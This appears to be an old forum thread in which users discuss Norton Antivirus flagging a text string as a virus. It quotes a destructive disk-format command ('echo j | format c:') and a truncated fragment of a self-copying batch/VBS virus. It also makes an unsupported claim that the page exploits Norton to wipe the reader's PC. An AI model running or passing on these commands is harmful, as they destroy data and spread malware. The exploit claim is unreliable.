If norton finds any program saving this text to a file:

v2) echo j | format c:

It will think its a virus! If I mention it in IRC, everyones norton triggers. It should also trigger when viewing this page as the text is written to a file when its cached.

Can anyone with norton please confirm this?

Thanks to Nichotin for pointing this out

If you are using norton antivirus, your PC is history.

This page exploits a bug in NAV that causes the Antivirus program itsself to run code on a web page.
Norton may discover the virus and prompt to delete the offending file. It will, however have been too late. Next time you restart your computer you are out of luck till you reinstall windows and restore all your data.

Have a nice day.

That is not very nice. I don't know what this virus does.. but I ran it on a LAB computer and tried to remove a system file, though user access is only granted so Norton laughed @ me for tring to run mean code.

"@echo off copy %0 %windir%\bulbasaur.bat /y @cls Echo >>BulBasaur1.vbs set ff=createobject..."

There was just a Norton Antivirus Program Update 3-13. Maybe that is a fix?
